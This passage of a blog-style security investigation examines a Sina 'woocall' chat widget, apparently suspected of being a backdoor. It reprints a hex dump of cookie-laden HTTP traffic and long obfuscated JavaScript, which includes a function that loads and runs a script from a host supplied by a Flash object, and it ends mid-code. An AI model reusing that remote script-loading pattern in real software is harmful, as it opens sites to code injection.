;69&amp;nbsp;63&amp;nbsp;6B&amp;nbsp;3D&amp;nbsp;66&amp;nbsp;68&amp;nbsp;66&amp;nbsp;79&amp;nbsp;75&amp;nbsp;28&amp;nbsp;31&amp;nbsp;32&amp;nbsp;37&amp;nbsp;36&amp;nbsp;38&amp;nbsp;&amp;nbsp;nick=fhfyu(12768&lt;/pre&gt;&lt;pre&gt;0420&amp;nbsp;&amp;nbsp;33&amp;nbsp;35&amp;nbsp;38&amp;nbsp;32&amp;nbsp;37&amp;nbsp;29&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;61&amp;nbsp;70&amp;nbsp;70&amp;nbsp;6D&amp;nbsp;61&amp;nbsp;73&amp;nbsp;6B&amp;nbsp;3D&amp;nbsp;&amp;nbsp;35827);&amp;nbsp;appmask=&lt;/pre&gt;&lt;pre&gt;0430&amp;nbsp;&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;&amp;nbsp;00000000&lt;/pre&gt;&lt;pre&gt;0440&amp;nbsp;&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;30&amp;nbsp;34&amp;nbsp;&amp;nbsp;00000004&lt;/pre&gt;&lt;pre&gt;0450&amp;nbsp;&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;67&amp;nbsp;65&amp;nbsp;6E&amp;nbsp;64&amp;nbsp;65&amp;nbsp;72&amp;nbsp;3D&amp;nbsp;31&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;53&amp;nbsp;49&amp;nbsp;4E&amp;nbsp;41&amp;nbsp;&amp;nbsp;;&amp;nbsp;gender=1;&amp;nbsp;SINA&lt;/pre&gt;&lt;pre&gt;0460&amp;nbsp;&amp;nbsp;2D&amp;nbsp;41&amp;nbsp;56&amp;nbsp;41&amp;nbsp;54&amp;nbsp;41&amp;nbsp;52&amp;nbsp;3D&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;&amp;nbsp;-AVATAR=0%7C0%7C&lt;/pre&gt;&lt;pre&gt;0470&amp;nbsp;&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;&amp;nbsp;0%7C0%7C1%7C1%7C&lt;/pre&gt;&lt;pre&gt;0480&amp;nbsp;&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;&amp;nbsp;1%7C1%7C0%7C1%7C&lt;/pre&gt;&lt;pre&gt;0490&amp;nbsp;&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;&amp;nbsp;0%7C0%7C1%7C0%7C&lt;/pre&gt;&lt;pre&gt;04A0&amp;nbsp;&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;31&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;&amp;nbsp;0%7C0%7C1%7C0%7C&lt;/pre&gt;&lt;pre&gt;04B0&amp;nbsp;&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;&amp;nbsp;0%7C0%7C0%7C0%7C&lt;/pre&gt;&lt;pre&gt;04C0&amp;nbsp;&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;25&amp;nbsp;37&amp;nbsp;43&amp;nbsp;30&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;53&amp;nbsp;&amp;nbsp;0%7C0%7C0%7C0;&amp;nbsp;S&lt;/pre&gt;&lt;pre&gt;04D0&amp;nbsp;&amp;nbsp;49&amp;nbsp;4E&amp;nbsp;41&amp;nbsp;50&amp;nbsp;52&amp;nbsp;4F&amp;nbsp;43&amp;nbsp;3D&amp;nbsp;31&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;55&amp;nbsp;4E&amp;nbsp;49&amp;nbsp;50&amp;nbsp;52&amp;nbsp;&amp;nbsp;INAPROC=1;&amp;nbsp;UNIPR&lt;/pre&gt;&lt;pre&gt;04E0&amp;nbsp;&amp;nbsp;4F&amp;nbsp;54&amp;nbsp;4D&amp;nbsp;3D&amp;nbsp;31&amp;nbsp;32&amp;nbsp;31&amp;nbsp;37&amp;nbsp;36&amp;nbsp;33&amp;nbsp;30&amp;nbsp;32&amp;nbsp;38&amp;nbsp;34&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;&amp;nbsp;OTM=1217630284;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;04F0&amp;nbsp;&amp;nbsp;53&amp;nbsp;49&amp;nbsp;4E&amp;nbsp;41&amp;nbsp;5F&amp;nbsp;4E&amp;nbsp;55&amp;nbsp;3D&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;53&amp;nbsp;49&amp;nbsp;4E&amp;nbsp;41&amp;nbsp;5F&amp;nbsp;4F&amp;nbsp;&amp;nbsp;SINA_NU=;&amp;nbsp;SINA_O&lt;/pre&gt;&lt;pre&gt;0500&amp;nbsp;&amp;nbsp;55&amp;nbsp;3D&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;53&amp;nbsp;49&amp;nbsp;4E&amp;nbsp;41&amp;nbsp;5F&amp;nbsp;55&amp;nbsp;53&amp;nbsp;45&amp;nbsp;52&amp;nbsp;3D&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;&amp;nbsp;U=;&amp;nbsp;SINA_USER=;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;0510&amp;nbsp;&amp;nbsp;53&amp;nbsp;4D&amp;nbsp;53&amp;nbsp;5F&amp;nbsp;43&amp;nbsp;4F&amp;nbsp;4F&amp;nbsp;4B&amp;nbsp;49&amp;nbsp;45&amp;nbsp;3D&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;53&amp;nbsp;49&amp;nbsp;44&amp;nbsp;&amp;nbsp;SMS_COOKIE=;&amp;nbsp;SID&lt;/pre&gt;&lt;pre&gt;0520&amp;nbsp;&amp;nbsp;3D&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;55&amp;nbsp;4E&amp;nbsp;49&amp;nbsp;50&amp;nbsp;52&amp;nbsp;4F&amp;nbsp;4D&amp;nbsp;3D&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;67&amp;nbsp;5F&amp;nbsp;78&amp;nbsp;&amp;nbsp;=;&amp;nbsp;UNIPROM=;&amp;nbsp;g_x&lt;/pre&gt;&lt;pre&gt;0530&amp;nbsp;&amp;nbsp;5F&amp;nbsp;64&amp;nbsp;5F&amp;nbsp;6A&amp;nbsp;5F&amp;nbsp;73&amp;nbsp;3D&amp;nbsp;37&amp;nbsp;64&amp;nbsp;38&amp;nbsp;7C&amp;nbsp;37&amp;nbsp;7C&amp;nbsp;31&amp;nbsp;3B&amp;nbsp;20&amp;nbsp;&amp;nbsp;_d_j_s=7d8|7|1; &lt;br /&gt;&lt;/pre&gt;&lt;pre&gt;0540&amp;nbsp;&amp;nbsp;73&amp;nbsp;69&amp;nbsp;6E&amp;nbsp;61&amp;nbsp;52&amp;nbsp;6F&amp;nbsp;74&amp;nbsp;61&amp;nbsp;74&amp;nbsp;6F&amp;nbsp;72&amp;nbsp;2F&amp;nbsp;3D&amp;nbsp;32&amp;nbsp;33&amp;nbsp;0D&amp;nbsp;&amp;nbsp;sinaRotator/=23.&lt;/pre&gt;&lt;pre&gt;0550&amp;nbsp;&amp;nbsp;0A&amp;nbsp;0D&amp;nbsp;0A&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;This seemed strange, so I pulled down the source from the above cgi-bin and found this:&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;function Bgfhp(){var S_WC_EMBED_CORE=function(){this.Init.apply(this,arg&lt;/pre&gt;&lt;pre&gt;uments);};S_WC_EMBED_CORE.prototype={bY:false,Init:function(bY,cl){this.&lt;/pre&gt;&lt;pre&gt;cl=cl;this.bY=bY;this.bX=this.Z();if(this.bX){this.ag();}else S_WC_EMBED&lt;/pre&gt;&lt;pre&gt;_CORE=null;},Z:function(){var aC=/http:\/\/([A-Za-z0-9\-\.]+)(.sina.com.&lt;/pre&gt;&lt;pre&gt;cn)\//ig;var ci=document.location.href;var bo=ci.indexOf('?');if(bo!=-1)&lt;/pre&gt;&lt;pre&gt;ci=ci.substr(0,bo);var bp=ci.indexOf('#');if(bp!=-1)ci=ci.substr(0,bp);&lt;/pre&gt;&lt;pre&gt;if(!aC.test(ci)){return false;}return true;},ag:function(){var ak=new&lt;/pre&gt;&lt;pre&gt;Util.aO;this.bY=ak.am(this.bY,this.cl.P,true);window.document.woocall_&lt;/pre&gt;&lt;pre&gt;swf_file.SetVariable(&quot;Probe&quot;,this.bY);}}; var WCEmbedCore = new S_WC_EMB&lt;/pre&gt;&lt;pre&gt;ED_CORE('999e69a3b8e9231ea48de6f141d1d3c7fdd567a5',S_WC.EmbedConf);}&lt;/pre&gt;&lt;pre&gt;Bgfhp();&lt;/pre&gt;&lt;p&gt;This looks more like bad programming than anything, so I decided to check out the HTTP Referer, and I was directed to a a Flash application:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://feeds.feedburner.com/../../../../../pub/meisenbarth/woocall.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;a Backdoor perhaps? Let's look at the source code that creates this little gem:&lt;/p&gt;&lt;pre&gt;&amp;lt;!--[442,2,9] published at 2007-08-13 11:19:29 from #237 by 1786--&amp;gt;&lt;/pre&gt;&lt;pre&gt;if(typeof Util=='undefined')Util={};Util.aO=function()&lt;/pre&gt;&lt;pre&gt;{this.Init.apply(this,arguments);};Util.aO.prototype={Init:function&lt;/pre&gt;&lt;pre&gt;(){},au:function(v,w){var bs=v.length;var aK=v[bs-1]&amp;amp;0xffffffff;for&lt;/pre&gt;&lt;pre&gt;(var i=0;i&amp;lt;bs;i++){v[i]=String.fromCharCode(v[i]&amp;amp;0xff,v[i]&lt;/pre&gt;&lt;pre&gt;&amp;gt;&amp;gt;&amp;gt;8&amp;amp;0xff,v[i]&amp;gt;&amp;gt;&amp;gt;16&amp;amp;0xff,v[i]&amp;gt;&amp;gt;&amp;gt;24&amp;amp;0xff);}if(w){return v.join&lt;/pre&gt;&lt;pre&gt;('').substring(0,aK);}else{return v.join('');}},bq:function(s,w){var&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;ce=s.length;var v=[];for(var i=0;i&amp;lt;ce;i+=4){v[i&amp;gt;&amp;gt;2]=s.charCodeAt&lt;/pre&gt;&lt;pre&gt;(i)|s.charCodeAt(i+1)&amp;lt;&amp;lt;8|s.charCodeAt(i+2)&amp;lt;&amp;lt;16|s.charCodeAt(i+3)&lt;/pre&gt;&lt;pre&gt;&amp;lt;&amp;lt;24;}if(w){v[v.length]=ce;}return v;},am:function(cg,at,as){if&lt;/pre&gt;&lt;pre&gt;(cg==&quot;&quot;){return &quot;&quot;;}if(as)cg=this.aq(cg);var v=this.bq(cg,false);var&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;k=this.bq(at,false);var n=v.length-1;var z=v[n-1],y=v&lt;/pre&gt;&lt;pre&gt;[0],bh=0x9E3779B9;var bU,e,q=Math.floor(6+52/&lt;/pre&gt;&lt;pre&gt;(n+1)),cc=q*bh&amp;amp;0xffffffff;while(cc!=0){e=cc&amp;gt;&amp;gt;&amp;gt;2&amp;amp;3;for(var p=n;p&amp;gt;0;p&lt;/pre&gt;&lt;pre&gt;--){z=v[p-1];bU=(z&amp;gt;&amp;gt;&amp;gt;5^y&amp;lt;&amp;lt;2)+(y&amp;gt;&amp;gt;&amp;gt;3^z&amp;lt;&amp;lt;4)^(cc^y)+(k[p&amp;amp;3^e]^z);y=v&lt;/pre&gt;&lt;pre&gt;[p]=v[p]-bU&amp;amp;0xffffffff;}z=v[n];bU=(z&amp;gt;&amp;gt;&amp;gt;5^y&amp;lt;&amp;lt;2)+(y&amp;gt;&amp;gt;&amp;gt;3^z&amp;lt;&amp;lt;4)^(cc^y)+&lt;/pre&gt;&lt;pre&gt;(k[p&amp;amp;3^e]^z);y=v[0]=v[0]-bU&amp;amp;0xffffffff;cc=cc-bh&amp;amp;0xffffffff;}return &lt;/pre&gt;&lt;pre&gt;this.au(v,true);},aq:function(h){var r=&quot;&quot;;for(var i=(h.substr(0,2)&lt;/pre&gt;&lt;pre&gt;==&quot;0x&quot;)?2:0;i&amp;lt;h.length;i+=2)r+=String.fromCharCode(parseInt&lt;/pre&gt;&lt;pre&gt;(h.substr(i,2),16));return r;}};if(typeof Util=='undefined')Util=&lt;/pre&gt;&lt;pre&gt;{};Util.by=function(){this.Init.apply&lt;/pre&gt;&lt;pre&gt;(this,arguments);};Util.by.prototype={ar:0,o:&quot;&quot;,cb:8,Init:function&lt;/pre&gt;&lt;pre&gt;(){},bi:function(s){return this.ah(this.aj(this.aL&lt;/pre&gt;&lt;pre&gt;(s),s.length*this.cb));},aj:function(x,ce){x[ce&amp;gt;&amp;gt;5]|=0x80&amp;lt;&amp;lt;(24-ce%&lt;/pre&gt;&lt;pre&gt;32);x[((ce+64&amp;gt;&amp;gt;9)&amp;lt;&amp;lt;4)+15]=ce;var w=Array(80);var a=1732584193;var &lt;/pre&gt;&lt;pre&gt;b=-271733879;var c=-1732584194;var d=271733878;var e=-&lt;/pre&gt;&lt;pre&gt;1009589776;for(var i=0;i&amp;lt;x.length;i+=16){var ax=a;var ay=b;var &lt;/pre&gt;&lt;pre&gt;az=c;var aA=d;var aB=e;for(var j=0;j&amp;lt;80;j++){if(j&amp;lt;16)w[j]=x&lt;/pre&gt;&lt;pre&gt;[i+j];else w[j]=this.bH(w[j-3]^w[j-8]^w[j-14]^w[j-16],1);var &lt;/pre&gt;&lt;pre&gt;t=this.cf(this.cf(this.bH(a,5),this.aI(j,b,c,d)),this.cf(this.cf&lt;/pre&gt;&lt;pre&gt;(e,w[j]),this.aJ(j)));e=d;d=c;c=this.bH(b,30);b=a;a=t;}a=this.cf&lt;/pre&gt;&lt;pre&gt;(a,ax);b=this.cf(b,ay);c=this.cf(c,az);d=this.cf(d,aA);e=this.cf&lt;/pre&gt;&lt;pre&gt;(e,aB);}return Array(a,b,c,d,e);},aI:function(t,b,c,d){if(t&amp;lt;20)&lt;/pre&gt;&lt;pre&gt;return(b&amp;amp;c)|((~b)&amp;amp;d);if(t&amp;lt;40)return b^c^d;if(t&amp;lt;60)return(b&amp;amp;c)|(b&amp;amp;d)&lt;/pre&gt;&lt;pre&gt;|(c&amp;amp;d);return b^c^d;},aJ:function(t){return(t&amp;lt;20)?1518500249:&lt;/pre&gt;&lt;pre&gt;(t&amp;lt;40)?1859775393:(t&amp;lt;60)?-1894007588:-899497514;},cf:function(x,y)&lt;/pre&gt;&lt;pre&gt;{var bl=(x&amp;amp;0xFFFF)+(y&amp;amp;0xFFFF);var aw=(x&amp;gt;&amp;gt;16)+(y&amp;gt;&amp;gt;16)+&lt;/pre&gt;&lt;pre&gt;(bl&amp;gt;&amp;gt;16);return(aw&amp;lt;&amp;lt;16)|(bl&amp;amp;0xFFFF);},bH:function(bm,bg){return&lt;/pre&gt;&lt;pre&gt;(bm&amp;lt;&amp;lt;bg)|(bm&amp;gt;&amp;gt;&amp;gt;(32-bg));},aL:function(cg){var aX=Array();var av=&lt;/pre&gt;&lt;pre&gt;(1&amp;lt;&amp;lt;this.cb)-1;for(var i=0;i&amp;lt;cg.length*this.cb;i+=this.cb)aX[i&amp;gt;&amp;gt;5]&lt;/pre&gt;&lt;pre&gt;|=(cg.charCodeAt(i/this.cb)&amp;amp;av)&amp;lt;&amp;lt;(32-this.cb-i%32);return &lt;/pre&gt;&lt;pre&gt;aX;},ah:function(bD){var &lt;/pre&gt;&lt;pre&gt;bj=this.ar?&quot;0123456789ABCDEF&quot;:&quot;0123456789abcdef&quot;;var cg=&quot;&quot;;for(var &lt;/pre&gt;&lt;pre&gt;i=0;i&amp;lt;bD.length*4;i++){cg+=bj.charAt((bD[i&amp;gt;&amp;gt;2]&amp;gt;&amp;gt;((3-i%4)*8+4))&amp;amp;0xF)&lt;/pre&gt;&lt;pre&gt;+bj.charAt((bD[i&amp;gt;&amp;gt;2]&amp;gt;&amp;gt;((3-i%4)*8))&amp;amp;0xF);}return cg;}};if(typeof &lt;/pre&gt;&lt;pre&gt;S_WC=='undefined')S_WC={};if(typeof $=='undefined')$=function(id)&lt;/pre&gt;&lt;pre&gt;{return document.getElementById(id)};if(typeof $C=='undefined')&lt;/pre&gt;&lt;pre&gt;$C=function(t){return document.createElement(t)};if(typeof &lt;/pre&gt;&lt;pre&gt;$S=='undefined')$S={};S_WC.EmbedConf={bA:false,cj:&lt;/pre&gt;&lt;pre&gt;{bZ:'sml_emb_testing',bP:'http://image2.sina.com.cn/woocall/cli/',aS&lt;/pre&gt;&lt;pre&gt;:'.swf',bz:'woocall_swf_file',bK:'S_WC_EMBED_BOX',bL:400,bJ:300,l:10&lt;/pre&gt;&lt;pre&gt;,g:true},cd:false,T:'_SP',I:false,D:'_CL',aU:'http://image2.sina.com&lt;/pre&gt;&lt;pre&gt;.cn/ent/woocall/Theme/',K:36,A:14,f:'_CtrlBtn',C:'_ChatBox',bx:'S_WC&lt;/pre&gt;&lt;pre&gt;',aQ:14,aW:'_USRTOK',S:6,aV:0,P:'9icn4po62xa2nbcd',bv:0,F:'/cgi-&lt;/pre&gt;&lt;pre&gt;bin/s_wc_corev3?v=m&amp;amp;t=1'};if(typeof Util=='undefined')Util=&lt;/pre&gt;&lt;pre&gt;{};Util.bk=(navigator.appName.indexOf(&quot;Microsoft&quot;,0)!=-1)?&lt;/pre&gt;&lt;pre&gt;true:false;Util.aD=function(aM,an){var &lt;/pre&gt;&lt;pre&gt;bd=&quot;ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz&quot;;var &lt;/pre&gt;&lt;pre&gt;bf=bd+&quot;0123456789&quot;;var bG='';for(var i=0;i&amp;lt;aM;i++){var &lt;/pre&gt;&lt;pre&gt;bW=Math.floor(Math.random()*bf.length);if(an&amp;amp;&amp;amp;i==0)bG+=bd.substring&lt;/pre&gt;&lt;pre&gt;(bW,bW+1);else bG+=bf.substring(bW,bW+1);}return &lt;/pre&gt;&lt;pre&gt;bG;};Util.aG=function(name,value,expires,bn,domain,aE){var &lt;/pre&gt;&lt;pre&gt;al=name+&quot;=&quot;+escape(value)+((expires)?&quot;; &lt;/pre&gt;&lt;pre&gt;expires=&quot;+expires.toGMTString():&quot;&quot;)+((bn)?&quot;; bn=&quot;+bn:&quot;&quot;)+&lt;/pre&gt;&lt;pre&gt;((domain)?&quot;; domain=&quot;+domain:&quot;&quot;)+((aE)?&quot;; &lt;/pre&gt;&lt;pre&gt;aE&quot;:&quot;&quot;);document.cookie=al;};Util.ao=function(name){var &lt;/pre&gt;&lt;pre&gt;bT=document.cookie;var prefix=name+&quot;=&quot;;var ca=bT.indexOf(&quot;; &lt;/pre&gt;&lt;pre&gt;&quot;+prefix);if(ca==-1){ca=bT.indexOf(prefix);if(ca!=0)return null;}&lt;/pre&gt;&lt;pre&gt;else ca+=2;var bE=document.cookie.indexOf(&quot;;&quot;,ca);if(bE==-1)&lt;/pre&gt;&lt;pre&gt;bE=bT.length;return unescape(bT.substring&lt;/pre&gt;&lt;pre&gt;(ca+prefix.length,bE));};function LdCfg(bu){if(typeof &lt;/pre&gt;&lt;pre&gt;SINA_WOOCALL_CONFIG!='undefined'){if&lt;/pre&gt;&lt;pre&gt;(SINA_WOOCALL_CONFIG.StandPoint&amp;amp;&amp;amp;SINA_WOOCALL_CONFIG.StandPoint.L&amp;amp;&amp;amp;S&lt;/pre&gt;&lt;pre&gt;INA_WOOCALL_CONFIG.StandPoint.R){bu.cd=&lt;/pre&gt;&lt;pre&gt;{L:SINA_WOOCALL_CONFIG.StandPoint.L,M:SINA_WOOCALL_CONFIG.StandPoint&lt;/pre&gt;&lt;pre&gt;.M?SINA_WOOCALL_CONFIG.StandPoint.M:false,R:SINA_WOOCALL_CONFIG.StandPo&lt;/pre&gt;&lt;pre&gt;int.R}}if(SINA_WOOCALL_CONFIG.CustomURL)&lt;/pre&gt;&lt;pre&gt;{bu.aP=SINA_WOOCALL_CONFIG.CustomURL;}if(SINA_WOOCALL_CONFIG.Conn)&lt;/pre&gt;&lt;pre&gt;{bu.bv=1;}}};function LdBoxCfg(){if(typeof SINA_WOOCALL_CONFIG!&lt;/pre&gt;&lt;pre&gt;='undefined'){if&lt;/pre&gt;&lt;pre&gt;(SINA_WOOCALL_CONFIG.EmbedBox&amp;amp;&amp;amp;SINA_WOOCALL_CONFIG.EmbedBox.MyId&amp;amp;&amp;amp;SI&lt;/pre&gt;&lt;pre&gt;NA_WOOCALL_CONFIG.EmbedBox.MyWidth&amp;amp;&amp;amp;SINA_WOOCALL_CONFIG.EmbedBox.MyH&lt;/pre&gt;&lt;pre&gt;eight){var B=&lt;/pre&gt;&lt;pre&gt;{N:SINA_WOOCALL_CONFIG.EmbedBox.MyId,V:SINA_WOOCALL_CONFIG.EmbedBox.&lt;/pre&gt;&lt;pre&gt;MyWidth,J:SINA_WOOCALL_CONFIG.EmbedBox.MyHeight};return B}else &lt;/pre&gt;&lt;pre&gt;return false;}return false;};function woocall_swf_file_DoFSCommand&lt;/pre&gt;&lt;pre&gt;(ai,bC){switch(ai){case 'InitApp':S_WC.EmbedUI.Q(bC);break;}};if&lt;/pre&gt;&lt;pre&gt;(Util.bk){document.write('&amp;lt;SCRIPT event=FSCommand(ai,bC) &lt;/pre&gt;&lt;pre&gt;for='+S_WC.EmbedConf.cj.bz+'&amp;gt;');document.write&lt;/pre&gt;&lt;pre&gt;('woocall_swf_file_DoFSCommand(ai, bC);');document.write&lt;/pre&gt;&lt;pre&gt;('&amp;lt;/SCRIPT&amp;gt;');}S_WC.EmbedUI=function(){this.Init.apply&lt;/pre&gt;&lt;pre&gt;(this,arguments);};S_WC.EmbedUI.Q=function(bC){var s=$C&lt;/pre&gt;&lt;pre&gt;('script');s.src='http://'+bC+S_WC.EmbedConf.F;s.type='text/javascri&lt;/pre&gt;&lt;pre&gt;pt';document.body.appendChild(s);};S_WC.EmbedUI.prototype=&lt;/pre&gt;&lt;pre&gt;{cl:null,df:null,bR:null,aZ:null,ba:true,Init:function(cl)&lt;/pre&gt;&lt;pre&gt;{this.cl=cl;if(this.cl.bA)&lt;/pre&gt;&lt;pre&gt;this.cl.cj.bP=this.cl.cj.bP+this.cl.bA+'/';this.bX=true;this.aZ=this&lt;/pre&gt;&lt;pre&gt;.cl.bx;this.df=this.ac();this.ba=Util.bk;},H:function(){this.bb&lt;/pre&gt;&lt;pre&gt;();this.ae();this.af();},aF:function(bK,bL,bJ)&lt;/pre&gt;&lt;pre&gt;{this.cl.cj.bK=bK;this.cl.cj.bL=bL;this.cl.cj.bJ=bJ;},aH:function&lt;/pre&gt;&lt;pre&gt;(n,be){if(typeof be=='string'){this.cl.aU=be;}var &lt;/pre&gt;&lt;pre&gt;ci=this.cl.aU+n+'/';this.cl.aT=&lt;/pre&gt;&lt;pre&gt;{U:ci+'boxlogo.gif',G:ci+&quot;wc_style_embed.css&quot;};},ap:function(){if(!&lt;/pre&gt;&lt;pre&gt;this.bR||this.bR.length==0){this.bb();}return this.bR;},af:function&lt;/pre&gt;&lt;pre&gt;(){var width=this.cl.cj.bL;var &lt;/pre&gt;&lt;pre&gt;height=this.cl.cj.bJ;this.Y.style.width=width+'px';this.W.style.widt&lt;/pre&gt;&lt;pre&gt;h=width+'px';this.aY.style.height=(height-this.cl.K-this.cl.A)&lt;/pre&gt;&lt;pre&gt;+&quot;px&quot;;this.aY.style.width=width+'px';this.X.style.width=width+'px';}&lt;/pre&gt;&lt;pre&gt;,ae:function(){this.aa();var cj=$C('div');var bN=$C('div');var m=$C&lt;/pre&gt;&lt;pre&gt;('div');var bw=$C('div');var bt=$C&lt;/pre&gt;&lt;pre&gt;('div');$(this.cl.cj.bK).appendChild&lt;/pre&gt;&lt;pre&gt;(cj);cj.className=this.aZ+this.cl.C;cj.appendChild&lt;/pre&gt;&lt;pre&gt;(bN);cj.appendChild(bw);cj.appendChild(bt);bN.className='Hnd';var &lt;/pre&gt;&lt;pre&gt;bO=document.title;if(bO.length&amp;gt;this.cl.aQ){bO=bO.substr&lt;/pre&gt;&lt;pre&gt;(0,this.cl.aQ)+'..';}var O='&amp;lt;img align=&quot;absmiddle&quot; &lt;/pre&gt;&lt;pre&gt;src=&quot;'+this.cl.aT.U+'&quot; /&amp;gt; '+bO;var aN='&amp;lt;div &lt;/pre&gt;&lt;pre&gt;class=&quot;Title&quot;&amp;gt;'+O+'&amp;lt;/div&amp;gt;';bN.innerHTML=aN;bt.className='Bottom';bw.&lt;/pre&gt;&lt;pre&gt;innerHTML=this.ap&lt;/pre&gt;&lt;pre&gt;();this.X=cj;this.Y=bN;this.aY=bw;this.W=bt;},aa:function(){bV=$C&lt;/pre&gt;&lt;pre&gt;(&quot;link&quot;);bV.rel=&quot;stylesheet&quot;;bV.type=&quot;text/css&quot;;bV.href=this.cl.aT.G&lt;/pre&gt;&lt;pre&gt;;var head=document.getElementsByTagName(&quot;head&quot;)[0];head.appendChild&lt;/pre&gt;&lt;pre&gt;(bV);},ac:function(){var bM='';if(this.cl.df&amp;amp;&amp;amp;this.bX)&lt;/pre&gt;&lt;pre&gt;{bM=this.cl.df;}else if(this.cl.aP&amp;amp;&amp;amp;this.bX){var bI=new &lt;/pre&gt;&lt;pre&gt;Util.by;bM=bI.bi&lt;/pre&gt;&lt;pre&gt;(this.cl.aP);this.eF=window.location.href;this.eF=this.eF.replace&lt;/pre&gt;&lt;pre&gt;(&quot;&amp;amp;&quot;,&quot;|&quot;);}else&lt;/pre&gt;&lt;pre&gt;{this.eF=window.location.href;this.eF=this.eF.replace(&quot;&amp;amp;&quot;,&quot;|&quot;);if&lt;/pre&gt;&lt;pre&gt;(this.cl.aV&amp;gt;0){this.eF=this.eF.substr(0,this.cl.aV);}var bI=new &lt;/pre&gt;&lt;pre&gt;Util.by;bM=bI.bi(this.eF);}return bM;},ad:function(){var &lt;/pre&gt;&lt;pre&gt;ci=window.location.href;var p=ci.indexOf('/',7);var domain='';if(p!&lt;/pre&gt;&lt;pre&gt;=-1){domain=ci.substr(0,p);}else domain=ci;return &lt;/pre&gt;&lt;pre&gt;domain;},ab:function(){var bF=new Date();bF.setTime(bF.getTime()&lt;/pre&gt;&lt;pre&gt;+365*24*60*60*1000*50);var bQ=Util.ao(this.cl.bx+this.cl.aW);if(!&lt;/pre&gt;&lt;pre&gt;bQ){bQ=Util.aD(this.cl.S,true);Util.aG&lt;/pre&gt;&lt;pre&gt;(this.cl.bx+this.cl.aW,bQ,bF,'/');}return bQ;},bc:function(ck){if&lt;/pre&gt;&lt;pre&gt;(this.cl.cd&amp;amp;&amp;amp;this.bX){ck.push('&amp;amp;position1=');ck.push&lt;/pre&gt;&lt;pre&gt;(this.cl.cd.L);if(this.cl.cd.M){ck.push('&amp;amp;position=');ck.push&lt;/pre&gt;&lt;pre&gt;(this.cl.cd.M);}ck.push('&amp;amp;position0=');ck.push&lt;/pre&gt;&lt;pre&gt;(this.cl.cd.R);}},bb:function(){var ef=this.ab();var 